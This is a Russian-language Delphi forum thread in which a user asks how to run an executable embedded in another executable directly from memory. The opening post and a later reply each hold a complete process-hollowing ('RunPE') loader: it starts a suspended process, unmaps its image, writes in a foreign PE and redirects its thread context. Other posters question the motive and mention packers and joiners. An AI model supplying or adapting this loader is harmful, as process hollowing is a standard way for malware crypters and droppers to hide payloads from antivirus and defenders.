-
Всем привет! Есть ехе файл, который содержит в себе еще 1 ехе. Нужно запустить его прямо в памяти не сохраняя на диск. Делаю это так:
var
ZwUnmapViewOfSection: function(hProcess: Cardinal;
BaseAddress: Pointer): Cardinal; stdcall;
SetThreadContext: function(hThread: THandle;
const lpContext: TContext): BOOL; stdcall;
CreateProcess: function (lpApplicationName: PChar; lpCommandLine: PChar;
lpProcessAttributes,
lpThreadAttributes: PSecurityAttributes;
bInheritHandles: BOOL; dwCreationFlags: DWORD;
lpEnvironment: Pointer;
lpCurrentDirectory: PChar;
const lpStartupInfo: TStartupInfo;
var lpProcessInformation: TProcessInformation): BOOL;
stdcall;
ReadProcessMemory: function(hProcess: THandle; const lpBaseAddress: Pointer;
lpBuffer: Pointer; nSize: DWORD;
var lpNumberOfBytesRead: DWORD): BOOL; stdcall;
WriteProcessMemory: function(hProcess: THandle; const lpBaseAddress: Pointer;
lpBuffer: Pointer; nSize: DWORD;
var lpNumberOfBytesWritten: DWORD): BOOL; stdcall;
ResumeThread: function(hThread: THandle): DWORD; stdcall;
VirtualProtectEx: function(hProcess: THandle; lpAddress: Pointer;
dwSize, flNewProtect: DWORD;
var OldProtect: DWORD): BOOL; stdcall;
procedure ExecuteMemImage(MemImage: Pointer);
type
PImageDosHeader = ^TImageDosHeader;
PImageNtHeaders = ^TImageNtHeaders;
PImageSectionHeader = ^TImageSectionHeader;
const
Mapping: array[0..7] of DWORD = (PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY,
PAGE_EXECUTE_READ, PAGE_READWRITE,
PAGE_EXECUTE_READWRITE, PAGE_READWRITE,
PAGE_EXECUTE_READWRITE);
var
i, rpm, wpm: Cardinal;
pi: TProcessInformation;
Context: TContext;
si: TStartUpinfo;
Addr, ImageBase: Pointer;
inh: PImageNtHeaders;
ish: PImageSectionHeader;
hNtDll, hKernelDll: Dword;
begin
hNtDll := LoadLibrary('ntdll.dll');
if hNtDll <> 0 then
ZwUnmapViewOfSection := GetProcAddress(hNtDll, 'ZwUnmapViewOfSection');
hKernelDll := LoadLibrary('kernel32.dll');
if hKernelDll <> 0 then
begin
SetThreadContext := GetProcAddress(hKernelDll, 'SetThreadContext');
CreateProcess := GetProcAddress(hKernelDll, 'CreateProcessA');
ReadProcessMemory := GetProcAddress(hKernelDll, 'ReadProcessMemory');
WriteProcessMemory := GetProcAddress(hKernelDll, 'WriteProcessMemory');
ResumeThread := GetProcAddress(hKernelDll, 'ResumeThread');
VirtualProtectEx := GetProcAddress(hKernelDll, 'VirtualProtectEx');
end;
inh := PImageNtHeaders(DWORD(MemImage) +
DWORD(PImageDosHeader(MemImage)^._lfanew));
ZeroMemory(@si, SizeOf(si));
si.cb := SizeOf(si);
if not CreateProcess(nil, PChar(ParamStr(0)), nil, nil,
False, CREATE_SUSPENDED or CREATE_NEW_CONSOLE,
nil, nil, si, pi) then exit;
try
Context.ContextFlags := CONTEXT_INTEGER;
if not GetThreadContext(pi.hThread, Context) then exit;
ReadProcessMemory(pi.hProcess, Pointer(Context.Ebx + 8),
@Addr, SizeOf(Addr), rpm);
if Addr = nil then exit;
if ZwUnmapViewOfSection(pi.hProcess, Addr) <> 0 then exit;
ImageBase := VirtualAllocEx(pi.hProcess,
Pointer(inh.OptionalHeader.ImageBase),
inh.OptionalHeader.SizeOfImage,
MEM_RESERVE or MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if ImageBase = nil then exit;
WriteProcessMemory(pi.hProcess, ImageBase,
MemImage, inh.OptionalHeader.SizeOfHeaders, wpm);
ish := PImageSectionHeader(inh);
Inc(PImageNtHeaders(ish));
for i := 0 to inh.FileHeader.NumberOfSections - 1 do
begin
if ish.SizeOfRawData > 0 then
begin
WriteProcessMemory(pi.hProcess, PChar(ImageBase) + ish.VirtualAddress,
PChar(MemImage) + ish.PointerToRawData,
ish.SizeOfRawData, wpm);
VirtualProtectEx(pi.hProcess, PChar(ImageBase) +
ish.VirtualAddress, ish.SizeOfRawData,
Mapping[ish.Characteristics shr 29], wpm);
end;
Inc(ish);
end;
WriteProcessMemory(pi.hProcess, Pointer(Context.Ebx + 8),
@ImageBase, SizeOf(ImageBase), wpm);
Context.Eax := DWORD(ImageBase) + inh.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, Context);
ResumeThread(pi.hThread);
finally
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
FreeLibrary(hNtDll);
FreeLibrary(hKernelDll);
end;
end;
Не нравится то, что создается новый процесс с помощью CreateProcess. Подскажите, есть ли способ запуска прямо в памяти не используя CreateProcess. Как я понимаю у нас есть свой процесс файла-контейнера, почему бы не сделать все именно в нем, не задействовать другие процессы. Даже не знаю направление в котором следует копать :(
-
UPX опенсорсный, посмотри как он делает...
-
ЗЫ: в качестве оффтопа, а зачем вообще нужен такой алгоритм запуска в обычной прикладной программе?
-
> ЗЫ: в качестве оффтопа, а зачем вообще нужен такой алгоритм > запуска в обычной прикладной программе?
Вот тоже не понимаю зачем? Если > Как я понимаю у нас есть свой процесс файла-контейнера, > почему бы не сделать все именно в нем, не задействовать > другие процессы.
Ну разве что "выдать чужое за своё".
-
> Германн © (27.10.11 00:17) [3] > Ну разве что "выдать чужое за своё".
Не, ну это нормальный алго для пакера, просто я и подумал - неушто очередной пакер пишется :)
-
Удалено модератором Примечание: dbl
-
> Не, ну это нормальный алго для пакера
Только ли для пакера, Саш? Точнее пакер "выдаёт за своё" для обеспечения нормальной своей работы. А ведь есть ещё и "псевдоучебные" задачи. P.S. На мой взгляд ну очень дурные, но судя по форумам вполне "реально задаваемые".
-
Ну я бы не назвал это "псевдоучебным" - понимание карты памяти процесса еще никому не мешало...
-
А, я понял - ты видимо про Joiner-ы говоришь, ну это неизбежный вариант направления ПО, как и лекарства в медицине, чем одних лечят, тем другие ширяются...
-
> Rouse_ © (27.10.11 01:09) [7] > > Ну я бы не назвал это "псевдоучебным" - понимание карты > памяти процесса еще никому не мешало... >
> Rouse_ © (27.10.11 01:11) [8] > > А, я понял - ты видимо про Joiner-ы говоришь, ну это неизбежный > вариант направления ПО, как и лекарства в медицине, чем > одних лечят, тем другие ширяются... >
Что такое joiner'ы я не знаю. Я знаю только (по форумам), что в моде учебные задачи типа, "Документ вшивается в exe-шник, и прочитать его можно только средствами самой программы. Ну и т.д.
-
> Документ вшивается в exe-шник, и прочитать его можно только > средствами самой программы
Хм, тогда к задаче ТС это никоим образом не относится, ибо это ни что иное как "Защищенное Хранилище", со своими алгоритмами удачными и неудачными и большинстве случаев, даже если алгоритм удачен все сводится к републикации ключа доступа, ну а если не удачен, тут даже обсужать нечего... (Самая применимая в коммерции для данного алго задача - это SecureBook, примеры Защищенных книг и ПО, их защищающих, приводить не буду. Самая правильно реализованная, это один из известных опенсорсных проектов... )
-
Немного смущает меня, что секция импорта не обрабатывается(и первоначальная вроде как затирается)... Привязка адресов импорта(TimeDateStamp) вроде не особо распространенная опция.
> запуска прямо в памяти
- если из образа вырезана таблица переадресации(а обычно эта фича идет рука об руку с привязанной таблицей импорта) - то придется еще и код анализировать, чтобы базу подвинуть...
З.Ы. Что за голимая привычка переводить "обнаженный" С-шный код - как есть, не посмотрев какие функции уже и так импортированы, а типы - описаны??? Чего бы тогда и LoadLibrary не импортировать, на всякий случай? Бездумное копирование кода(не всегда(обычно не)корректного) - не лучший путь...
-
А куда, спрашивается, стартованный "в самом себе" липовый "процесс" будет лазить за своими ресурсами ?
-
> А куда, спрашивается, стартованный "в самом себе" липовый > "процесс" будет лазить за своими ресурсами ?
Т.е. это нереализуемо я правильно понимаю?
UPX опенсорсный, посмотри как он делает... Спс.. есть ли подобный, похожий код на дельфи?
-
> это нереализуемо я правильно понимаю?
Это реализуемо, но далеко так просто как тебе кажется)
-
> Это реализуемо, но далеко так просто как тебе кажется)
Ясно, спасибо за ответы! =)
-
var eu:array of byte; FS:TFileStream; CONT:TContext; imgbase,btsIO:DWORD; IDH:PImageDosHeader; INH:PImageNtHeaders; ISH:PImageSectionHeader; i:Integer; PInfo:TProcessInformation; SInfo:TStartupInfo; begin if OpenDialog1.Execute then begin FS:=TFileStream.Create(OpenDialog1.FileName,fmOpenRead or fmShareDenyNone); SetLength(eu,FS.Size); FS.Read(eu[0],FS.Size); FS.Free; Sinfo.cb:=Sizeof(TStartupInfo); CreateProcess(nil,Pchar(paramstr(0)),nil,nil,FALSE,CREATE_SUSPENDED,nil,nil,SInf o,PInfo); IDH:=@eu[0]; INH:=@eu[IDH^._lfanew]; imgbase:=DWORD(VirtualAllocEx(PInfo.hProcess,Ptr(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage,MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE)); ShowMessage(IntToHex(imgbase,8)); WriteProcessMemory(PInfo.hProcess,Ptr(imgbase),@eu[0],INH^.OptionalHeader.SizeOf Headers,btsIO); for i:=0 to INH^.FileHeader.NumberOfSections - 1 do begin ISH:=@eu[IDH^._lfanew + Sizeof(TImageNtHeaders) + i * Sizeof(TImageSectionHeader)]; WriteProcessMemory(PInfo.hProcess,Ptr(imgbase + ISH^.VirtualAddress),@eu[ISH^.PointerToRawData],ISH^.SizeOfRawData,btsIO); end; CONT.ContextFlags:=CONTEXT_FULL; GetThreadContext(PInfo.hThread,CONT); CONT.Eax:=imgbase + INH^.OptionalHeader.AddressOfEntryPoint; WriteProcessMemory(PInfo.hProcess,Ptr(CONT.Ebx+8),@imgbase,4,btsIO); ShowMessage('Press ok on ENTER'); SetThreadContext(PInfo.hThread,CONT); ResumeThread(PInfo.hThread); CloseHandle(Pinfo.hThread); CloseHandle(PInfo.hProcess); end; end;
-
Удалено модератором
|